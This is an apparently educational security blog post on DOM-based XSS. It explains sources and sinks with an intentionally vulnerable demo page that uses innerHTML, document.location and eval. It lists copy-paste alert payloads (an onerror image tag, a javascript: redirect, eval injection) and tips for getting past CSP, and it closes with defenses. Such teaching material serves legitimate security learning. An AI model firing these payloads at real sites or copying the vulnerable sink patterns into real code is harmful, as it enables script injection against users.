Skip to main content
XsiSec.com
HomeReposBlogProjectsPortfolio
© 2026 XsiSec.com
Security rules |security.txt
Updated 2026-08-15 · v1.0.0+2026-08-14.82f92cb · 82f92cb
← Back to overview
Security article

How does sinks working with dom-based xss

How does sinks working with dom-based xss: Clarify what sources and sinks are in DOM-based XSS, show practical examples for the three main sink categories (Document, Location, Execution), and provide ready‑to‑use payloads plus defenses. • Knowledge • xss, dom

2022-10-064 tags
Tags

🎯 Objective

Clarify what sources and sinks are in DOM-based XSS, show practical examples for the three main sink categories (Document, Location, Execution), and provide ready‑to‑use payloads plus defenses.


🧩 What I’m covering

  • Sink = The reflection point that ultimately executes or helps execute attacker‑controlled input coming from a source.
  • DOM-based vulnerability = Untrusted data flows source → sink in the browser (taint-flow), leading to script execution in the victim’s session.

Common easy-to-exploit sinks

  • eval()
  • document.write() / .innerHTML
  • setTimeout() / setInterval()

Common sources

javascript
document.URL
document.documentURI
document.URLUnencoded
document.baseURI
location
document.cookie
document.referrer
window.name
history.pushState
history.replaceState
localStorage
sessionStorage
IndexedDB Database

Common vulnerable sinks

javascript
document.write()
window.location
document.cookie
eval()
document.domain
WebSocket()
someElement.src
postMessage()
setRequestHeader()
FileReader.readAsText()
ExecuteSql()
sessionStorage.setItem()
document.evaluate()
JSON.parse()
someElement.setAttribute()
RegExp()

🧭 Example: Page with 3 sink types

html
<!DOCTYPE html>
<body>
  <p id="p1">Hello, guest!</p>
  <script>
    var currentSearch = document.location.search;
    var searchParams = new URLSearchParams(currentSearch);

    /*** Document Sink ***/
    var username = searchParams.get('name');
    if (username !== null) {
      document.getElementById('p1').innerHTML = 'Hello, ' + username + '!';
    }

    /*** Location Sink ***/
    var redir = searchParams.get('redir');
    if (redir !== null) {
      document.location = redir;
    }

    /*** Execution Sink ***/
    var nasdaq = 'AAAA';
    var dowjones = 'BBBB';
    var sp500 = 'CCCC';
    var market = [];
    var index = searchParams.get('index').toString();
    eval('market.index=' + index);
    document.getElementById('p1').innerHTML = 'Current market index is ' + market.index + '.';
  </script>
</body>
</html>

📎 Copy‑paste payloads

1) Document Sinks (DOM write APIs)

Sink pattern (unsafe):

javascript
document.getElementById('p1').innerHTML = 'Hello, ' + username + '!';

Payloads:

text
https://test.com/tests/sinks.html?name=<img src=x onerror=alert(1)>

(Direct <script>alert(1)</script> is often ignored on innerHTML reads; use event handlers like onerror.)

Other doc sinks to watch:

  • .innerHTML, .outerHTML
  • document.write(), document.writeln()

2) Location Sinks (navigations/loads)

Sink pattern (unsafe):

javascript
document.location = redir;

Payloads:

text
https://test.com/tests/sinks.html?redir=javascript:alert(1)

Notes:

  • Modern browsers often block javascript: redirects. Historically, data: URIs were used to bypass, but CSP/filters may stop that too.

3) Execution Sinks (direct code execution)

Sink pattern (unsafe):

javascript
eval('market.index=' + index);

Payloads:

text
https://test.com/tests/sinks.html?index=alert(1)

Other execution sinks:

  • eval()
  • setTimeout(<string>), setInterval(<string>)
  • Dangerous template constructions (string‑built code)

🧪 Troubleshooting

  • Alert doesn’t fire? You may be in a sink that treats HTML differently (e.g., innerHTML vs. text). Try event‑handler payloads (<img onerror=...>), or click flows if interaction is needed.
  • javascript: blocked? Expected on modern browsers; try alternative sinks or contexts (e.g., DOM insertion instead of redirection).
  • CSP present? Strict CSP can block inline JS. Look for allowed sources or different sinks; or prove the issue with a non‑JS payload that demonstrates control (e.g., injected text/attributes).
  • document.cookie empty? Cookies may be HttpOnly. Use alert(1) to prove code execution regardless.

🔒 Defense (notes)

  • Validate & sanitize sources: Never trust location, URLSearchParams, hash, referrer, storage values, etc.
  • Avoid dangerous sinks: Prefer safe APIs (textContent over innerHTML; do not use eval or string‑built code).
  • URL allowlists for navigations (document.location, someElement.src), blocking javascript:/data:.
  • CSP: Use nonces/hashes; avoid unsafe-inline; disallow data: and javascript: where possible.
  • Template frameworks: Keep default auto‑escaping on; don’t disable it.
  • Separate sensitive data from the DOM to minimize exposure.

✅ Key Takeaways

  • Document sinks modify the DOM; use event handlers to trigger execution when direct <script> is ignored.
  • Location sinks can become open redirects or JS scheme execution points; modern defenses may block them.
  • Execution sinks (eval, timers with strings) directly run attacker input and should be removed or replaced.
  • DOM‑XSS = taint flow from an untrusted source to an unsafe sink. Block the flow or neutralize the sink.
Navigate

In this post

  1. 01🎯 Objective
  2. 02🧩 What I’m covering
  3. 03🧭 Example: Page with 3 sink types
  4. 04📎 Copy‑paste payloads
  5. 051) Document Sinks (DOM write APIs)
  6. 062) Location Sinks (navigations/loads)
  7. 073) Execution Sinks (direct code execution)
  8. 08🧪 Troubleshooting
  9. 09🔒 Defense (notes)
  10. 10✅ Key Takeaways
Search
Explore

Popular tags

Browse all 30 tags

Comments

0 comments

No comments yet — be the first to comment.